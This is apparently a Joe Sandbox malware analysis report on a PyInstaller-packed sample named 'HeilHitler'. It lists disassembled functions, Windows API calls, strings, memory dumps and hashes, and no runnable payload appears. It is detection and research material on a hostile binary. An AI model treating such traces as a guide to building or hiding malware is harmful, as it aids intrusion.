FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF633D63706,?,00007FF633D63804), ref: 00007FF633D62D63
MessageBoxW.USER32 ref: 00007FF633D62D99

Strings

[PYI-%d:ERROR] , xrefs: 00007FF633D62CA6
%ls: , xrefs: 00007FF633D62D22
Error, xrefs: 00007FF633D62D8C
<FormatMessageW failed.>, xrefs: 00007FF633D62D70

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Message$CurrentFormatProcess
String ID: %ls: $<FormatMessageW failed.>$Error$[PYI-%d:ERROR]
API String ID: 3940978338-251083826
Opcode ID: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction ID: e887b4e9ee61f3d6761854eb8504e09a25780305fe5106c886124e6aca3dbb07
Opcode Fuzzy Hash: c67c27f58c2af476bbbd059d0433c12e6f67668a4e3ecf6e42cf1bc8669f0b6b
Instruction Fuzzy Hash: 79310832708B4142E7209BA5B8152BA7791BF88B88F810236EF5DE7759EF3CE516D700

Function 00007FFDFAF460CD Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

SwitchToFiber.KERNEL32 ref: 00007FFDFB003534
CreateFiber.KERNEL32 ref: 00007FFDFB0035AC
SwitchToFiber.KERNEL32 ref: 00007FFDFB003628
DeleteFiber.KERNEL32 ref: 00007FFDFB00370B

Strings

*, xrefs: 00007FFDFB00346F
..\s\crypto\async\async.c, xrefs: 00007FFDFB003451, 00007FFDFB003468, 00007FFDFB0034B0, 00007FFDFB0035D9, 00007FFDFB003640, 00007FFDFB0036C0, 00007FFDFB0036F6, 00007FFDFB003717, 00007FFDFB003744

Memory Dump Source

Source File: 00000001.00000002.2034614271.00007FFDFAF41000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00007FFDFAF40000, based on PE: true

Associated: 00000001.00000002.2034579485.00007FFDFAF40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAF4D000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFA5000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFB9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFC9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFAFDD000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18C000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB18E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1B9000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB1EA000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB210000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB25E000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB264000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB266000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB282000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2034614271.00007FFDFB28F000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035725372.00007FFDFB293000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000001.00000002.2035764384.00007FFDFB294000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfaf40000_HeilHitler.jbxd

Similarity

API ID: Fiber$Switch$CreateDelete
String ID: *$..\s\crypto\async\async.c
API String ID: 2050058302-1471988776
Opcode ID: 8b47d52157642b3b231a89f983280538087bbf6d36b46edcb8fde1806918482b
Instruction ID: 748cdb895e4d6e748d65d407dec6bfcbe0e06a4e5f2a74dfa107893dab95548c
Opcode Fuzzy Hash: 8b47d52157642b3b231a89f983280538087bbf6d36b46edcb8fde1806918482b
Instruction Fuzzy Hash: 30A16C32B0AA4385EB25DF15E460A7963A0EF48BC4F488431DAAD4B7E9EF3DE545D700

Function 00007FF633D6DCC8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DD4D
GetLastError.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DD5B
LoadLibraryExW.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DD85
FreeLibrary.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DDF3
GetProcAddress.KERNEL32(?,?,?,00007FF633D6DF7A,?,?,?,00007FF633D6DC6C,?,?,?,00007FF633D6D869), ref: 00007FF633D6DDFF

Strings

api-ms-, xrefs: 00007FF633D6DD6D

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction ID: 1018d420bc4576bb4e78e3352b4c7e5d447be61324c602785fa081507e9a0f08
Opcode Fuzzy Hash: 276526191d17588ee9fa22b972cdf0953455baf5c8a53fb276b347519b5968a9
Instruction Fuzzy Hash: 3B31C121B1EB02D1EE11AB82A4026B53394FF48BA4F994735DD3DAB389EF3CE4449710

Function 00007FF633D62A50 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000,?,?,?,00000000,00007FF633D6351A,?,00000000,00007FF633D63F1B), ref: 00007FF633D62AA0

Strings

[PYI-%d:%s] , xrefs: 00007FF633D62AA8
Warning, xrefs: 00007FF633D62B1E
WARNING, xrefs: 00007FF633D62AAF
0, xrefs: 00007FF633D62B16
Warning [ANSI Fallback], xrefs: 00007FF633D62B0F

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: 0$WARNING$Warning$Warning [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-2900015858
Opcode ID: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction ID: 5e051762cfbcc9d9c02d9a40582793537229a18107c4dca1f2d83445d9370648
Opcode Fuzzy Hash: d3ff72078d09a899d0ca032b5bdbc8691629937d026b54217f09319e947088a3
Instruction Fuzzy Hash: 5F21A33261978182E7209B91F8427E67394FB88784F800236FE9CA3759DF7CD1459740

Function 00007FF633D68570 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF633D68590
OpenProcessToken.ADVAPI32 ref: 00007FF633D685A3
GetTokenInformation.ADVAPI32 ref: 00007FF633D685C8
GetLastError.KERNEL32 ref: 00007FF633D685D2
GetTokenInformation.ADVAPI32 ref: 00007FF633D68612
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF633D6862E
CloseHandle.KERNEL32 ref: 00007FF633D68646

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: f75ab0f0843ea553283f31270fa2e47dd05c34398218a1d4d57149fb78d89f01
Instruction ID: 85ca96772ff03f063ac1d8247f753327b3eae382b12b32df1e19e35e9204c46f
Opcode Fuzzy Hash: f75ab0f0843ea553283f31270fa2e47dd05c34398218a1d4d57149fb78d89f01
Instruction Fuzzy Hash: C4216031A0C64642EB108BD5B54523AB3A0FF857A1F901335EABD97BE5DE7CE4459B00

Function 00007FF633D7B150 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF633D7B15F
FlsGetValue.KERNEL32 ref: 00007FF633D7B174
FlsSetValue.KERNEL32 ref: 00007FF633D7B195
FlsSetValue.KERNEL32 ref: 00007FF633D7B1C2
FlsSetValue.KERNEL32 ref: 00007FF633D7B1D3
FlsSetValue.KERNEL32 ref: 00007FF633D7B1E4
SetLastError.KERNEL32 ref: 00007FF633D7B1FF

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 955e69dbdd4f648e313349aefb080b734bae4ce698d47d394c7c697acdce6f2d
Instruction ID: 86d6940a3b2219007d66e191e412a291f70027244548114bd368ba9229ea2f96
Opcode Fuzzy Hash: 955e69dbdd4f648e313349aefb080b734bae4ce698d47d394c7c697acdce6f2d
Instruction Fuzzy Hash: 8B215B20F0D24281FA686FE19A5323952525F447B0F144734ED3EFBBD6DE2CB455A300

Function 00007FF633D87D6C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF633D87D9D
GetLastError.KERNEL32 ref: 00007FF633D87DA9
CloseHandle.KERNEL32 ref: 00007FF633D87DC1
CreateFileW.KERNEL32 ref: 00007FF633D87DEC
WriteConsoleW.KERNEL32 ref: 00007FF633D87E0B

Strings

CONOUT$, xrefs: 00007FF633D87DCD

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction ID: af53bc2dcb930963b7421398c021bcd4b1365de1eeb1f8282b70542f2ad61348
Opcode Fuzzy Hash: 3755c2f75cb97972cd4ab37a7e27d28fd0bf6f95a56d27d10542fc75f089f0eb
Instruction Fuzzy Hash: 6711B621B18B4286E7508B92F85632963A0FB88FE4F040334EA6DDB7A4DF3CE9148740

Function 00007FF633D68ED0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D68EFD
K32EnumProcessModules.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D68F5A

Part of subcall function 00007FF633D69390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF633D645F4,00000000,00007FF633D61985), ref: 00007FF633D693C9

K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D68FE5
K32GetModuleFileNameExW.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D69044
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D69055
FreeLibrary.KERNEL32(?,FFFFFFFF,00000000,00007FF633D63FA9), ref: 00007FF633D6906A

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b9812aa4a412ff6f242132f81c88a7c8c76a4ef9029947ab8fd2a45bc25d6007
Instruction ID: 2cd8b1c69494db67d0b1a953af33810459aa8d9b5b5905be50cc7c462e16ab18
Opcode Fuzzy Hash: b9812aa4a412ff6f242132f81c88a7c8c76a4ef9029947ab8fd2a45bc25d6007
Instruction Fuzzy Hash: 2141B961B19A8281EB309B91A5422BAB394FF85BC4F841235DF6EE7789DF3CE511D700

Function 00007FF633D690E0 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF633D68570: GetCurrentProcess.KERNEL32 ref: 00007FF633D68590
Part of subcall function 00007FF633D68570: OpenProcessToken.ADVAPI32 ref: 00007FF633D685A3
Part of subcall function 00007FF633D68570: GetTokenInformation.ADVAPI32 ref: 00007FF633D685C8
Part of subcall function 00007FF633D68570: GetLastError.KERNEL32 ref: 00007FF633D685D2
Part of subcall function 00007FF633D68570: GetTokenInformation.ADVAPI32 ref: 00007FF633D68612
Part of subcall function 00007FF633D68570: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF633D6862E
Part of subcall function 00007FF633D68570: CloseHandle.KERNEL32 ref: 00007FF633D68646

LocalFree.KERNEL32(?,00007FF633D63C55), ref: 00007FF633D6916C
LocalFree.KERNEL32(?,00007FF633D63C55), ref: 00007FF633D69175

Strings

D:(A;;FA;;;%s), xrefs: 00007FF633D69157
S-1-3-4, xrefs: 00007FF633D69121
Security descriptor string length exceeds PYI_PATH_MAX!, xrefs: 00007FF633D69183
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF633D69142

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Token$FreeInformationLocalProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID: D:(A;;FA;;;%s)$D:(A;;FA;;;%s)(A;;FA;;;%s)$S-1-3-4$Security descriptor string length exceeds PYI_PATH_MAX!
API String ID: 6828938-1529539262
Opcode ID: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction ID: 52e6a2a20fb17ffffbb22bd5cc981b543d1c9b245fb98ce262a9502fd989064b
Opcode Fuzzy Hash: 0222097b9c90264a1a2c87a2a2fde68e1a94831f5278aced0db9eca26447961c
Instruction Fuzzy Hash: BF213231A0874281F6109B90E9162FA7261FF84780F945236EA5EE77D6DF3CE945E740

Function 00007FF633D7B2C8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B2D7
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B30D
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B33A
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B34B
FlsSetValue.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B35C
SetLastError.KERNEL32(?,?,?,00007FF633D74F11,?,?,?,?,00007FF633D7A48A,?,?,?,?,00007FF633D7718F), ref: 00007FF633D7B377

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 8fefcbba4d209cc5a194374eabcf6afe7ae299e3690268f17104ea0393047aa2
Instruction ID: 187532b38a27bdcbbcd2acae768bcb6fc113820c00d8ea0740a003fdd47af6c3
Opcode Fuzzy Hash: 8fefcbba4d209cc5a194374eabcf6afe7ae299e3690268f17104ea0393047aa2
Instruction Fuzzy Hash: CC114F20F0C64282FA686FA1965323D62569F45BB0F544734E93EFB7E6DE6CF4916300

Function 00007FFDFAE9A3B0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 181COMMON

Download Yara Rule

APIs

00007FFE1FFA3440.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDFAE9A596
GetLastError.KERNEL32 ref: 00007FFDFAE9A5A5

Strings

OPENSSL_DIR_read(&ctx, ', xrefs: 00007FFDFAE9A5D4
%s/%s, xrefs: 00007FFDFAE9A468
..\s\ssl\ssl_cert.c, xrefs: 00007FFDFAE9A5BB, 00007FFDFAE9A5F2, 00007FFDFAE9A620, 00007FFDFAE9A661

Memory Dump Source

Source File: 00000001.00000002.2034183596.00007FFDFAE81000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFDFAE80000, based on PE: true

Associated: 00000001.00000002.2034141796.00007FFDFAE80000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAEF6000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF19000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF24000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034183596.00007FFDFAF2E000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034512265.00007FFDFAF31000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2034545589.00007FFDFAF33000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfae80000_HeilHitler.jbxd

Similarity

API ID: 00007A3440ErrorLast
String ID: %s/%s$..\s\ssl\ssl_cert.c$OPENSSL_DIR_read(&ctx, '
API String ID: 848807496-4291904164
Opcode ID: 7943f625b7d20c5b2a256d95b4f9ffa19be6ef3d4345ba9e1828761067b97a59
Instruction ID: dccf1b334737eb92ba4a9ac5fa87493ceea3a452a62c8a5f12c3231f5088c01a
Opcode Fuzzy Hash: 7943f625b7d20c5b2a256d95b4f9ffa19be6ef3d4345ba9e1828761067b97a59
Instruction Fuzzy Hash: D9716261B1C78285FB58BB1194B0BB93351AF85788F4101B5EE5F47BDEDE3EE9068600

Function 00007FF633D62910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF633D61B6A), ref: 00007FF633D6295E

Strings

%s: %s, xrefs: 00007FF633D629E8
[PYI-%d:ERROR] , xrefs: 00007FF633D62966
Error [ANSI Fallback], xrefs: 00007FF633D629FF
Error, xrefs: 00007FF633D62A0E

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: afd009434f3403cab6d77ae120dfd1b90e560974ea6bd378f7d987ca72e5539d
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 29310872B1968152E7209BA5A8426E77395BF887D8F800232FE9DE3755EF3CD146D700

Function 00007FF633D62390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF633D623C8
DialogBoxIndirectParamW.USER32 ref: 00007FF633D6248E
DeleteObject.GDI32 ref: 00007FF633D624C1
DestroyIcon.USER32 ref: 00007FF633D624D3

Strings

Unhandled exception in script, xrefs: 00007FF633D623F8

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 3b326f38696452fedce944a8216705a7f012b21920c96e855d1ab8eaac442c5d
Instruction ID: 82e56ad8a0df23da2c5ca72204515ecf9651ba7de6e1197dacfbe79d7a3fddff
Opcode Fuzzy Hash: 3b326f38696452fedce944a8216705a7f012b21920c96e855d1ab8eaac442c5d
Instruction Fuzzy Hash: D4318772619A8185EB20DFA1E8562F97360FF88788F840235EA4DDBB59DF3CD145D700

Function 00007FF633D62B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF633D6918F,?,00007FF633D63C55), ref: 00007FF633D62BA0
MessageBoxW.USER32 ref: 00007FF633D62C2A

Strings

[PYI-%d:%ls] , xrefs: 00007FF633D62BA8
WARNING, xrefs: 00007FF633D62BAF
Warning, xrefs: 00007FF633D62C1D

Memory Dump Source

Source File: 00000001.00000002.2033505327.00007FF633D61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF633D60000, based on PE: true

Associated: 00000001.00000002.2033471768.00007FF633D60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033554529.00007FF633D8B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633D9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033600199.00007FF633DA1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033670545.00007FF633DA4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff633d60000_HeilHitler.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
